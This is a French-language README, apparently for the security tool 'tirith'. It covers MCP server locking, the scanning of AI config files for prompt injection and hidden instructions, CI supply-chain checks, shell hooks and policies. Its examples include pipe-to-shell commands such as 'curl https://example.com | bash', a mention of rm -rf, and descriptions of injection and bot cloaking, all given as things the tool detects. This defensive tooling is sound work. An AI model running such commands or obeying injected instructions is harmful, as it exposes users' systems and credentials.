| `tirith_scan_file` | Analyse un fichier pour du contenu caché, de l'Unicode invisible, un empoisonnement de configuration |
| `tirith_scan_directory` | Analyse récursive avec priorisation des fichiers de configuration IA |
| `tirith_verify_mcp_config` | Valide les configurations MCP pour les serveurs non sécurisés, l'injection de shell dans les arguments, les outils wildcard |
| `tirith_fetch_cloaking` | Détecte le cloaking côté serveur (contenu différent pour les bots vs les navigateurs) |
Le `tools/list` par défaut est un contrat de compatibilité figé, car les clients
le mettent en cache et un outil qui apparaît sans être annoncé change ce qu'un agent croit
pouvoir appeler. Un outil de prévisualisation, `tirith_check_task`, n'est donc **pas annoncé par
défaut** : exécutez `TIRITH_MCP_PREVIEW=1 tirith mcp-server` pour l'annoncer, et
sans cette adhésion explicite, un client qui l'appelle par son nom est refusé par son nom. Voir
[docs/task-envelope.md](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md).
### Gouvernance du serveur MCP
`tirith mcp lock` capture chaque serveur MCP déclaré par un dépôt, à travers `.mcp.json` / `mcp.json` / `mcp_settings.json` et les variantes de configuration IDE (`.vscode/`, `.cursor/`, `.windsurf/`, `.cline/`, `.amazonq/`, `.continue/`, `.kiro/`), dans un fichier de verrouillage déterministe à `.tirith/mcp.lock`. Chaque serveur est enregistré avec son transport (une URL distante, ou une commande locale + arguments), les outils déclarés, les métadonnées de couverture, et un hash de contenu ; les serveurs sont triés par nom/source afin que le fichier de verrouillage soit facile à comparer. Les déclarations ambiguës ou porteuses d'identifiants sont refusées plutôt que copiées dans le contrôle de source. Les valeurs d'environnement et les userinfo d'URL ne sont représentées que par des marqueurs de présence fixes, jamais par des valeurs brutes ou des hash déterministes : ajouter/supprimer une variable ou un userinfo provoque toujours une dérive, tandis que la rotation de secrets ne le fait intentionnellement pas. Les fichiers de verrouillage V7 nécessitent un re-verrouillage explicite pour migrer vers ce modèle de confidentialité v8. La découverte est strictement locale au dépôt et ne touche aucun réseau. (`tirith mcp` est un groupe de commandes distinct de `tirith mcp-server`, qui exécute tirith *en tant que* serveur MCP.)
`tirith mcp verify` est le compagnon de contrôle : il reconstruit l'inventaire actuel par rapport au fichier de verrouillage commité et se termine avec le code 1 en cas de dérive ou de couverture de configuration incomplète/rejetée (0 en cas de correspondance, 2 en cas d'erreurs d'utilisation comme un fichier de verrouillage manquant). `tirith mcp diff` signale la même dérive de manière informative (toujours code de sortie 0, 2 uniquement en cas d'erreurs d'utilisation, afin qu'un consommateur puisse distinguer « aucune dérive » de « vérification impossible »). La dérive remonte également via `tirith scan` sous la forme `mcp_server_drift` (Medium ou High), afin qu'un hook pre-commit ou une CI détecte un changement de surface MCP de la même manière qu'il détecte une action non épinglée. `verify` / `diff` n'affichent jamais les valeurs d'environnement ni les userinfos d'URL, seulement les noms de ce qui a changé.
Deux champs de politique régissent ce qui est accepté. Les deux sont indexés par une identité opaque `mcp:v1:...` liant le chemin source, le nom du serveur et le transport : `scan.trusted_mcp_servers` supprime les constats de configuration et la dérive de ce serveur exact, tandis que `scan.mcp_allowed_tools` déclare les outils exacts qu'il peut exposer. Les noms nus ne correspondent intentionnellement à rien, afin qu'un serveur du même nom dans une autre configuration ne puisse pas hériter de la confiance. Une liste d'autorisation d'outils explicite nécessite également un ensemble de descripteurs actifs approuvé par un opérateur et vérifie à la fois les déclarations statiques et les noms de descripteurs actifs. Exécutez `tirith mcp policy init` pour générer les clés exactes dans `.tirith/mcp-policy.yaml.example`, puis utilisez le flux `--mcp-server-identity ... --approve-descriptors` de la passerelle pour capturer atomiquement une base de référence `tools/list` inspectée. Chaque entrée générée est commentée afin que l'importation n'élargisse jamais silencieusement la confiance.
### Analyse des fichiers de configuration
`tirith scan` détecte l'injection de prompt et les charges utiles cachées dans les fichiers de configuration IA. Il priorise et analyse plus de 50 motifs de fichiers de configuration IA connus :
- `.cursorrules`, `.windsurfrules`, `.clinerules`, `CLAUDE.md`, `copilot-instructions.md`
- Paramètres, agents, compétences, plugins, règles de `.claude/`
- Configurations `.cursor/`, `.vscode/`, `.windsurf/`, `.cline/`, `.continue/`, `.roo/`, `.codex/`
- `mcp.json`, `.mcp.json`, `mcp_settings.json`
- `.github/copilot-instructions.md`, `.github/agents/*.md`
**Ce qu'il détecte dans les configurations :**
- **Injection de prompt** (déclencheurs d'activation de compétences, tentatives de contournement de permissions, rejet des consignes de sécurité, réaffectation d'identité, instructions de remplacement inter-outils). Chaque fichier est analysé à la fois brut et désobfusqué (caractères invisibles, confusables, espacement inter-caractères, leetspeak, base64 / hex court), afin qu'une graine cachée derrière un encodage se déclenche quand même
- **Unicode invisible** : caractères de largeur nulle (y compris le séparateur de voyelle mongol), contrôles bidi, traits d'union conditionnels, balises Unicode, remplisseurs Hangul, encodage d'espaces invisibles, confusables alphanumériques mathématiques
- **Problèmes de configuration MCP** : connexions HTTP non sécurisées, serveurs à IP brute, métacaractères de shell dans les arguments, noms de serveurs en double, accès aux outils par wildcard
### Analyse de la chaîne d'approvisionnement CI / dépôt
`tirith scan` inspecte également les fichiers qu'un dépôt versionne pour décrire son propre pipeline de build et de déploiement. Il détecte le *motif* dangereux, pas l'outil : une action épinglée par SHA, une image épinglée par digest, un module Terraform local et un `package.json` normal restent propres.
**Ce qu'il détecte dans les fichiers CI / d'infrastructure :**
- **Workflows GitHub Actions** (`.github/workflows/*.yml`), une référence `uses:` d'action épinglée à une réf mutable (`@v3`, `@main`) au lieu d'un SHA de commit ; le déclencheur `pull_request_target` ; un pipe-to-shell `curl … | bash` dans une étape `run:` ; une valeur `${{ github.event.* }}` contrôlable par l'attaquant interpolée dans une étape shell `run:` (injection de script)
- **Dockerfiles** : une image de base `FROM` sur le tag mutable `latest` (ou sans tag) sans épinglage de digest `@sha256:`
- **Terraform** (`*.tf`), un bloc `module` sourcé depuis un emplacement distant / non fiable plutôt qu'un chemin local ou le Terraform Registry
- **Charts Helm** (`Chart.yaml`), une dépendance de chart provenant d'un dépôt de charts non fiable
- **`package.json`** : un script de cycle de vie `preinstall` / `install` / `postinstall` qui exécute une commande dangereuse (pipe-to-shell, charge utile obfusquée, téléchargement-et-exécution) ; ces hooks s'exécutent automatiquement lors de `npm install`
Trois valeurs `--profile` intégrées ajustent l'analyse : `ci-hardening` (chaque vérification à pleine puissance, échec sur `high`), `ai-agent-repo` (conserve les constats d'injection, supprime le bruit de faible valeur lié à l'hygiène d'épinglage), et `oss-maintainer` (met l'accent sur le risque contrôlable par les contributeurs lors de la revue d'un changement).```bash
tirith scan ./ # scan the repo
tirith scan --profile ci-hardening ./ # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif
Détecte le contenu invisible pour les humains mais lisible par l'IA dans le HTML, le Markdown et le PDF :
display:none, visibility:hidden, opacity:0, font-size:0, positionnement hors écranrm -rf ou curl|bash (Moyen), commentaires longs dissimulant des instructions (Faible)tirith scan inspecte également les types de fichiers qu'un agent de codage IA (ou un moteur de rendu) lit et sur lesquels il agit, à la recherche de contenu introduit en contrebande au nez et à la barbe d'un relecteur humain. Un notebook normal, un CLAUDE.md ordinaire avec des instructions visibles et une simple image SVG restent propres ; seul le contenu caché / introduit en contrebande déclenche une alerte.
*.ipynb), caractères invisibles / bidi / à largeur nulle dans le code source d'une cellule, un blob encodé en base64 intégré dans le source, une cellule masquée de la vue rendue (metadata.jupyter.source_hidden / un tag hide_input), et les sorties de cellule portant des caractères invisibles ou du HTML actif / cachéCLAUDE.md, AGENTS.md, .cursorrules, et similaires), directives cachées uniquement : une instruction à l'intérieur d'un commentaire HTML (invisible dans le Markdown rendu) ou un élément HTML visuellement masqué. Ces fichiers contiennent légitimement des instructions visibles, donc les instructions visibles ordinaires ne déclenchent jamais d'alerte*.svg), un <script> intégré, un gestionnaire d'événement on* en ligne, un URI javascript:, un xlink:href / distant, ou une déclaration d'entité externe XXEtirith fetch compare les réponses du serveur à travers 6 user-agents (Chrome, ClaudeBot, ChatGPT-User, PerplexityBot, Googlebot, curl) pour détecter quand les serveurs servent un contenu différent aux bots IA par rapport aux navigateurs.
Au-delà des commandes individuelles, plusieurs groupes de commandes étendent la barrière à votre contexte opérationnel et à l'état de votre poste de travail. Celles qui touchent le chemin critique sont opt-in (un indicateur de politique) ; les autres s'exécutent à la demande.
Contexte opérationnel (tirith context, ssh, iac, sudo). Étiquetez une fois vos contextes cloud / Kubernetes de prod et vos hôtes SSH, et tirith escalade ce qui compte : une commande destructrice contre un contexte étiqueté prod, un SSH vers un hôte étiqueté prod, un apply Terraform / Pulumi / OpenTofu sans plan sauvegardé correspondant, ou une escalade sudo sans fenêtre de session justifiée. Les étiquettes résident dans ~/.config/tirith/context-labels.yaml et ssh-host-labels.yaml (ou à l'échelle du dépôt sous .tirith/).
Hygiène du poste de travail (tirith hygiene, persistence, aliases, env, exec, path, hooks). Analysez les fichiers d'identifiants aux permissions laxistes et les jetons en clair (~/.ssh, ~/.aws, ~/.kube, .npmrc, .pypirc), différez les points d'ancrage de persistance utilisés par un attaquant (shell rc, authorized_keys, crontab, LaunchAgents / unités systemd-user, core.hooksPath de git), signalez les alias qui masquent des commandes critiques ou lisent des identifiants, auditez pour l'ordre de détournement, et rapportez la provenance d'un binaire (propriétaire du paquet, signature de code, s'il masque une commande système).
Rayon d'impact et isolation (tirith preview, watch, temp-run, taint, intend, baseline). Prévisualisez l'impact sur le système de fichiers d'une commande destructrice avant de l'exécuter, différez ce qu'une commande a réellement modifié après coup, exécutez une commande non fiable dans un répertoire jetable, et suivez les fichiers téléchargés depuis des sources à risque afin qu'en exécuter un plus tard déclenche une alerte. temp-run ne change que le répertoire de travail ; c'est de l'isolation de fichiers, pas un bac à sable.
tirith command-card) signent une commande reconnue comme fiable avec une clé ed25519 ; une carte de confiance qui ne correspond plus à la commande déclenche une alerte Élevée.tirith commands) est une liste d'autorisation .tirith/commands.yaml qui fait taire la note de commande inconnue pour les commandes approuvées et ajoute une liste dangerous[] réservée à l'élévation (elle peut resserrer un verdict, jamais l'affaiblir).tirith canary) plantent des jetons canaris clairement synthétiques ; un contact dans n'importe quelle commande, collage ou sortie d'outil vérifié déclenche une alerte Élevée. La détection est une consultation de stockage local, pas une correspondance de forme.tirith secret) lit les découvertes récentes d'identifiants depuis votre journal d'audit et affiche les étapes de rotation / révocation spécifiques au fournisseur pour 11 fournisseurs. Il ne fait jamais tourner quoi que ce soit lui-même et n'effectue aucun appel réseau.tirith incident) déclare une posture « sous attaque » : il force fail_mode: closed, désactive le contournement TIRITH=0, et élève les règles de balayage d'identifiants, de décodage-exécution et de binaire suspect jusqu'à ce que vous l'arrêtiez.tirith view, tirith output, gateway run --filter-output, et mcp-server sécurisé par défaut) neutralise les échappements de tromperie de terminal dans la sortie des commandes, des outils MCP et des lectures de ressources : écritures dans le presse-papiers OSC 52, faux invites, incohérence de lien hypertexte OSC 8, et manipulation du titre / effacement d'écran. Il analyse également la sortie à la recherche d'injection de prompt (brute et désobfusquée) et de balises d'exfiltration de données. Ajoutez des graines personnalisées avec injection_seeds_custom, et optez pour la rédaction d'un bloc MCP d'injection seule en avertissement (au lieu de bloquer toute la sortie) avec mcp_redact_injection. L'échappatoire héritée mcp-server --unsafe-unsanitized-tool-output n'est pas recommandée.tirith share, tirith redact, tirith logs) supprime les secrets et les identifiants client / locataire avant que vous ne colliez dans un ticket GitHub, Slack, un LLM ou un collage public.Homebrew :```bash brew install tirith
### Paquets Linux
**Debian / Ubuntu (.deb) :**
Téléchargez depuis [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), puis :```bash
sudo dpkg -i tirith_*_amd64.deb
Fedora / RHEL / CentOS 8+ et Amazon Linux 2023 (.rpm) :
Téléchargez depuis GitHub Releases, puis :```bash sudo dnf install ./tirith-*.rpm
Les binaires de la version Linux GNU ciblent un plafond GLIBC 2.28. La CI exécute à la fois les tarballs x86_64 et aarch64 sur AlmaLinux 8, Amazon Linux 2023 et Rocky Linux 9 ; les `.deb` et x86_64 `.rpm` contiennent ces mêmes binaires canoniques.
**Arch Linux (AUR) :**```bash
yay -S tirith
# or: paru -S tirith
Nix :```bash nix profile install nixpkgs#tirith # from nixpkgs nix profile install github:sheeki03/tirith # from upstream flake
### Android (Termux)
Android/Termux fonctionne avec Bionic libc, et non glibc, donc la compilation `aarch64-unknown-linux-gnu`
ne peut pas s'y exécuter, elle nécessite le linker dynamique de glibc. Utilisez plutôt la compilation **musl** :
`tirith-aarch64-unknown-linux-musl.tar.gz` est liée statiquement et s'exécute
sur Termux sans libc externe.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version
Puis activez le hook shell dans ~/.bashrc (le shell par défaut de Termux est bash) :```bash
eval "$(tirith init --shell bash)" # add to ~/.bashrc
> [!NOTE]
> La prise en charge de Termux est assurée au mieux. L'artefact musl est compilé et testé sommairement en
> CI, mais tirith n'est pas encore testé en continu sur un véritable appareil Android.
> Si un hook se comporte mal sous Termux, veuillez ouvrir une issue avec la sortie de `tirith doctor`.
### Windows
Windows prend en charge la détection, l'analyse, les webhooks, la gestion des politiques, les téléversements
d'audit et `tirith setup`. Le hook PowerShell fournit une interception préalable PSReadLine,
mais il ne revendique pas de reçu d'exécution strict après acceptation.
L'exécution de scripts distants en direct et le mode démon restent indisponibles sous Windows.
**Scoop :**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith
Chocolatey (dépôt communautaire) :```powershell choco install tirith
choco upgrade tirith
La modération Chocolatey peut être en retard par rapport à la publication GitHub. Exécutez `choco info tirith` pour
voir la version actuellement approuvée. Utilisez Scoop ou un artefact signé depuis
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) lorsque la
dernière version est requise avant que la modération Chocolatey ne soit terminée.
### Multiplateforme
**npm :**```bash
npm install -g tirith
Cargo :```bash cargo install tirith
**[Mise](https://mise.jdx.dev/)** (registre officiel) :```bash
mise use -g tirith
asdf :```bash asdf plugin add tirith https://github.com/sheeki03/asdf-tirith.git asdf install tirith latest asdf global tirith latest
**Docker :**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"
Ajoutez à votre profil de shell (.zshrc, .bashrc, ou config.fish) :```bash
eval "$(tirith init --shell zsh)" # in ~/.zshrc
eval "$(tirith init --shell bash)" # in ~/.bashrc
tirith init --shell fish | source # in ~/.config/fish/config.fish
| Shell | Type de hook | Testé sur |
|-------|-----------|-----------|
| zsh | accept-line + widgets de collage | 5.8+ |
| bash | macro de touche Entrée ou preexec (deux modes) | chemin de compatibilité 3.2 ; 5.0+ pour le chemin moderne entièrement testé |
| fish | gestionnaires de touche Entrée + collage | 3.5+ |
| PowerShell | gestionnaire PSReadLine | 7.0+ |
Bash utilise le mode enter lorsqu'un auto-test de capacité a prouvé qu'il fonctionne pour votre bash, et preexec sinon. Depuis 0.4.1, cet auto-test passe sur un GNU bash standard, donc le mode enter est le résultat ordinaire une fois que `tirith setup` ou `tirith doctor` l'a exécuté ; le hook du shell lit le verdict mis en cache au démarrage. Voir [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) pour plus de détails sur les modes, l'auto-test et le comportement de repli SSH.
Le Bash système 3.2 de macOS reste un chemin de compatibilité, pas la référence
moderne de blocage. Son comportement de piège DEBUG peut empêcher le trampoline
de s'installer ; Tirith annonce la dégradation résultante lorsque son heartbeat
peut l'observer, ce qui peut être une commande plus tard. Utilisez Bash 5+ ou un
chemin en mode enter éprouvé lorsqu'une porte d'autorisation Bash stricte est
requise.
> [!WARNING]
> Le mode preexec de Bash est en avertissement seul par défaut. Définissez `TIRITH_BASH_PREEXEC_ENFORCE=1` pour un blocage conditionnel. Tirith analyse une fois la ligne saisie digne de confiance, active son propre `extdebug` uniquement après un verdict de blocage, et le libère avant l'exécution de `PROMPT_COMMAND`. Si les limites d'invite ou un piège DEBUG appartenant à l'appelant ne peuvent pas être préservés en toute sécurité, ou si `extdebug` est déjà activé par l'utilisateur, Tirith désactive visiblement l'interception preexec au lieu d'écraser l'état du shell.
#### Application par shell
| Shell | Comportement |
|---|---|
| bash **mode enter** | **Blocage fiable.** Lie la touche Entrée à une macro readline qui exécute le vérificateur puis un accept-line gardé, de sorte qu'une commande peut être arrêtée avant que bash ne s'engage à l'exécuter. Sélectionné partout où l'auto-test de capacité (`tirith doctor --simulate-enter`) a prouvé la livraison et le blocage pour le bash en cours d'exécution, ce qui depuis 0.4.1 est le cas sur un GNU bash standard. Un indicateur de mode sûr persistant, une session SSH, ou un `TIRITH_BASH_MODE=preexec` forcé sélectionne toujours preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Blocage conditionnel.** Analyse une seule ligne entière digne de confiance, puis active `extdebug` appartenant à Tirith uniquement pour un blocage et le restaure à l'invite suivante. Les entrées `PROMPT_COMMAND` existantes de type chaîne/tableau conservent leur ordre et s'exécutent en dehors de l'analyse. L'application refuse ou rétrograde visiblement lorsque l'historique est filtré ou qu'un alias / une substitution de commande / `eval` fait dériver la ligne saisie par rapport à `BASH_COMMAND` ; une propriété non sécurisée de l'invite/DEBUG ou un `extdebug` appartenant à l'utilisateur laisse l'interception explicitement désactivée plutôt que de muter l'état de l'utilisateur. |
| bash **preexec** (sans indicateur enforce) | Avertissement seul. Affiche une bannière DETECTED sur les commandes risquées ; ne bloque pas. Le repli lorsque l'auto-test du mode enter n'a pas prouvé que la livraison fonctionne, ou lorsque le mode enter est autrement indisponible. |
| zsh, fish | Blocage fiable dans leurs gestionnaires Entrée/accept-line, avant le transfert vers le shell natif. Les événements preexec de notification seule ne sont pas traités comme des portes d'autorisation. |
| PowerShell | Blocage préflight PSReadLine fiable ; pas de reçu d'exécution strict. |
| nushell | Avertissement seul (ne prend actuellement pas en charge l'interception de commandes). |
Pour un blocage au niveau de la ligne sur bash, exécutez `tirith doctor --simulate-enter` ; si la livraison fonctionne, le mode enter est activé. Là où ce n'est pas le cas, utilisez preexec enforce pour « bloque quand c'est possible ; vous dit honnêtement quand il ne peut pas. »
Bash, zsh et fish interactifs utilisent un reçu d'exécution protocole-v3 après la
décision de préflight. Au chargement du hook, ils résolvent et épinglent un
exécutable Tirith absolu et enregistrent une capacité à usage unique liée au
processus shell vivant, à la famille de shell, à la session, à l'utilisateur et
à l'identité de l'exécutable. Un reçu passe ensuite par les états `Prepared`,
`Armed`, `Consuming`, et un état terminal
`Committed`/`Conflict`/`Discarded`. Cela améliore l'attribution et la résistance
au rejeu, mais les preuves du shell sont délibérément enregistrées comme non
résolues plutôt que comme preuve que chaque composant de commande s'est exécuté.
Tirith lui-même possède toute invite d'approbation ou d'accusé de réception
d'avertissement avant de renvoyer un reçu armé ; le hook ne peut pas attacher
ces faits plus tard. Zsh et fish consomment le reçu armé de manière synchrone
dans le même gestionnaire d'acceptation de ligne et remettent la commande au
shell natif seulement après que cette transition a réussi. PowerShell dispose
d'un blocage préflight sans ce protocole de reçu strict.
Un shell imbriqué reçoit sa propre capacité liée au processus même lorsqu'il
hérite de l'ID de session. Re-sourcer le hook dans le même processus ne génère
jamais un autre porteur. Si `exec` remplace un shell vivant sans changer son
identité PID/démarrage, le remplacement ne peut pas récupérer le porteur
délibérément non exporté et s'exécute en mode legacy visiblement dégradé ;
démarrez un nouveau terminal ou un shell enfant pour restaurer les reçus stricts.
`exec "$SHELL"` n'est pas un redémarrage du protocole de reçu car il préserve
cette identité de processus.
**Nix / Home-Manager :** tirith doit être dans votre `$PATH` lorsque le hook est sourcé.
Bash, zsh et fish épinglent alors cet exécutable résolu pour la session shell ;
redémarrez le shell après avoir remplacé ou mis à niveau le binaire. L'ajouter à
`initContent` seul ne suffit pas.```nix
home.packages = [ pkgs.tirith ];
programs.zsh.initContent = ''
eval "$(tirith init --shell zsh)"
'';
tirith peut vérifier sa propre intégrité et se mettre à jour lui-même. Les deux commandes n'accèdent au réseau que lorsque vous les exécutez.```bash tirith verify-self # is this binary the genuine, unmodified release? tirith update # update to the latest release tirith version --provenance # version, build info, install method, verification
**`tirith verify-self`** confirme que le binaire en cours d'exécution est le binaire authentique et non modifié d'une version officielle. Il retélécharge l'archive de la version correspondant à votre version et à votre cible, la vérifie par rapport au fichier `checksums.txt` signé de la version, vérifie la signature cosign sur `checksums.txt` lorsque [`cosign`](https://github.com/sigstore/cosign) est installé, et confirme que le binaire en cours d'exécution est identique octet pour octet à celui officiel. Si la vérification complète n'est pas possible, une compilation locale de développement, l'absence de réseau, une installation que tirith ne peut pas identifier, il le dit honnêtement plutôt que de rapporter un faux « verified ». En l'absence de `cosign`, la somme de contrôle est tout de même vérifiée (rapportée comme `verified-checksum-only`) ; installez `cosign` pour une vérification complète de la signature (`verified-signed`).
**`tirith update`** est conscient du gestionnaire de paquets :
- **Les installations via gestionnaire de paquets** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) ne sont jamais auto-modifiées. tirith affiche la commande exacte à exécuter à la place, par ex. `brew upgrade tirith`. La mise à jour via le gestionnaire de paquets maintient sa base de données cohérente.
- **Les installations auto-remplaçables** (l'archive `install.sh`, un binaire autonome, ou une version Tirith détenue de manière sécurisée mise en cache sous une racine Hermes (`HERMES_HOME`, ou `~/.hermes` lorsque cette variable n'est pas définie ; Unix uniquement)) sont mises à jour sur place : tirith télécharge la dernière version, la vérifie, puis échange atomiquement le binaire, en conservant le précédent comme fichier annexe `tirith.tirith-previous`. La signature cosign est vérifiée par **défaut** : si elle ne peut pas être vérifiée (cosign manquant, ou la version n'a publié aucune signature), la mise à jour est interrompue. Passez `--allow-unsigned` pour revenir à une vérification par somme de contrôle uniquement ; une incohérence de somme de contrôle interrompt toujours la mise à jour quoi qu'il arrive. `tirith update --rollback` revient au binaire précédent ; `--dry-run` montre ce qui se passerait sans rien modifier. Les mises à jour restent explicites : Tirith ne vérifie jamais et n'installe jamais un nouveau binaire en arrière-plan.
> [!NOTE]
> Les scripts d'installation (`scripts/install.sh` et le `install.ps1` Windows) vérifient également la signature cosign de la version par **défaut** et s'interrompent si [`cosign`](https://github.com/sigstore/cosign) est manquant ou si la signature ne peut pas être vérifiée. Installez `cosign` d'abord, ou définissez `TIRITH_ALLOW_UNSIGNED=1` pour installer avec une vérification par somme de contrôle uniquement (non recommandé). Une incohérence de somme de contrôle ou de signature interrompt toujours l'installation, indépendamment de cette option de désactivation.
### Intégrations Shell
**Oh-My-Zsh :**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith
# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)
Utilisez tirith setup <tool> pour une configuration en une seule commande. Il s'agit de la surface de configuration nommée complète, incluant à la fois les intégrations antérieures et les ajouts publiés dans la version 0.4.0 :
Une ligne MCP uniquement expose les outils de Tirith mais ne force pas l'hôte à les appeler.
Une ligne de hook n'est automatique qu'après que l'hôte a chargé l'artefact généré
et honore toujours son contrat de refus. Exécutez tirith doctor, redémarrez l'hôte,
et effectuez la vérification d'autorisation/blocage adaptée à l'hôte après la configuration et à chaque mise à niveau.
Les chemins de configuration complets, les règles de priorité, le comportement d'échec en mode ouvert et les étapes de vérification
se trouvent dans la
matrice d'intégration et de confiance des agents.
Consultez mcp/clients/ pour les guides spécifiques aux hôtes disponibles.
GitHub Action avec téléversement SARIF vers l'onglet GitHub Security :```yaml
Les dépendances épinglées de l'action utilisent le runtime d'action Node 24. Les runners auto-hébergés doivent utiliser [Actions Runner v2.327.1 ou une version ultérieure](https://github.com/actions/runner/releases/tag/v2.327.1) ; les runners hébergés par GitHub satisfont déjà à cette exigence.
Également disponible en tant que **hook pre-commit** : voir `.pre-commit-hooks.yaml` dans ce dépôt.
Scan prend en charge les filtres `--include`, `--exclude`, `--profile` (charge les profils nommés depuis la policy) et `--ignore` pour une analyse CI ciblée.
### Documentation des règles```bash
tirith explain --rule pipe_to_interpreter # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal # all rules in a category
Chaque constatation porte une remédiation par règle : une ligne courte et précise
« comment rendre cela sûr », affichée sous chaque constatation (Fix:) et dans --format json.
tirith explain --rule <id> --fix affiche cette remédiation à part.
Lorsqu'une commande est bloquée ou avertie, tirith check --suggest affiche en plus
la remédiation pour la commande réelle. Il inclut une réécriture exécutable concrète
uniquement pour une transformation mécanique étroite dont la commande finale est vérifiée
sous la même politique effective :```bash
tirith check --suggest -- 'curl -fsSL https://example-cli.dev/i.sh | bash'
Sur Linux x86_64, lorsque Tirith est installé à un chemin système fixe géré par root et que l'URL, le shell, les arguments et le comportement stdin de la commande peuvent être décodés exactement, la réécriture achemine le pipe-to-shell via le capsule runner borné, revu, vérifié par hash et fail-closed de Tirith. Le chemin absolu de Tirith empêche qu'un `PATH` shadow ultérieur modifie ce qui s'exécute. À l'exécution, le runner exige également que le premier hit `PATH` de l'interpréteur sélectionné soit géré par root, lie ses octets avant le téléchargement, et préserve ce shell au lieu de faire confiance au shebang distant. Les autres architectures, plateformes et installations de Tirith appartenant à l'utilisateur conservent cette remédiation à titre indicatif. Pour curl, les réécritures exécutables exigent en outre à la fois la sémantique fail-on-HTTP-error et redirect-following (`-f` et `-L`, y compris un bundle tel que `-fsSL`). Les jetons d'URL dynamiques ou malformés, les arguments d'interpréteur non pris en charge, PowerShell, Cmd et les pipelines ambigus restent à titre indicatif uniquement. Les suggestions exécutables sont limitées au pipe runner vérifié et fail-closed. Les corrections d'archive, de dotfile, de suppression de flag TLS, de changement HTTP-vers-HTTPS, de restriction sudo, de nettoyage d'environnement et de nom de paquet sont à titre indicatif uniquement car leur sémantique exacte de shell, réseau, privilège, environnement ou registre n'est pas mécaniquement prouvable. Pour toute détection sans réécriture mécanique sûre, Tirith le dit clairement et affiche la remédiation à la place ; il n'émet jamais de commande devinée. Le flag est consultatif : il ne change ni le verdict ni le code de sortie.
### Mode Daemon (Unix)
Processus d'arrière-plan optionnel pour une latence inférieure à la milliseconde et un enrichissement réseau (résolution d'URL raccourcie, vérifications de blocklist DNS) :```bash
tirith daemon start # tirith check auto-delegates when running
tirith daemon stop
[!NOTE] Le mode démon est aujourd'hui réservé à Unix.
Les commandes du quotidien :
Surfaces explicites, à activation volontaire. Aucune de celles-ci ne s'exécute implicitement, et aucune ne dispose d'un démon ou d'un moniteur en arrière-plan :
Voilà l'ensemble des commandes du quotidien. tirith embarque 78 commandes de premier niveau au total, réparties en 8 groupes : analyse et scan, statut et santé, configuration, politique et confiance, gardes du shell et du système (hygiene, persistence, exec, path, context, ssh, sudo, iac), chaîne d'approvisionnement, intégrations d'agents d'IA, et forensique et réponse. Lancez tirith --help pour la liste catégorisée, ou consultez la référence complète des commandes. Le drapeau global --quiet (ou TIRITH_QUIET=1) réduit au silence la sortie d'avis sans masquer les erreurs, les verdicts ou les notifications de sécurité.
paste, score, diff et why n'effectuent aucun
appel réseau. tirith check peut interroger les sources OSV/deps.dev/ecosyste.ms configurées,
CISA KEV et Safe Browsing, et peut déclencher le rafraîchissement périodique de la base de menaces
ci-dessous. tirith check --offline (ou TIRITH_OFFLINE=1) supprime tous
ces chemins HTTP et DNS, ne lit que les caches d'exécution existants, et signale
les absences de cache comme une vérification incomplète plutôt qu'un résultat propre.tirith check et les hooks du shell
déclenchent une vérification en arrière-plan détachée et peu coûteuse au plus une fois toutes les 24 heures par
défaut (threat_intel.auto_update_hours), afin de garder la base de données signée à jour.
Cela ne bloque jamais la commande. Réglez auto_update_hours: 0 pour le désactiver, ou
--offline / pour le supprimer à chaque invocation.
ne le déclenche ; il passe directement par le moteur local.tirith policy init # creates .tirith/policy.yaml in your repo tirith policy validate # check for syntax/schema errors tirith policy test "curl https://example.com | bash" # dry-run against policy
`tirith policy init` accepte `--template <name>` pour une politique de démarrage sélectionnée :```bash
tirith policy init --template individual # solo developer defaults (alias: personal)
tirith policy init --template ci-strict # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer # reviewing contributor-controllable risk
tirith policy init --template startup # small-team balance
tirith policy init --template enterprise # strict, with an active package_policy block
tirith policy init --template mcp-strict # locked-down MCP server and tool trust
Chaque modèle est une politique bien commentée et valide selon le schéma, que vous pouvez modifier davantage.
Sans --template, tirith policy init écrit la politique par défaut complète.
Tirith utilise un fichier de politique YAML. Ordre de découverte :
.tirith/policy.yaml dans le répertoire courant (remonte jusqu'à la racine du dépôt)allowlist:
blocklist:
severity_overrides: docker_untrusted_registry: CRITICAL
scan: ignore_patterns: - "node_modules" - "target" profiles: ci: include: [".md", ".json", ".yaml", ".claude/"] fail_on: high
Utilisez `allowlist_rules` pour les suppressions limitées à une règle lorsque vous faites confiance à une source pour une règle mais que vous ne souhaitez pas l'ajouter globalement à la liste d'autorisation :```yaml
allowlist_rules:
- rule_id: curl_pipe_shell
patterns:
- "get.docker.com"
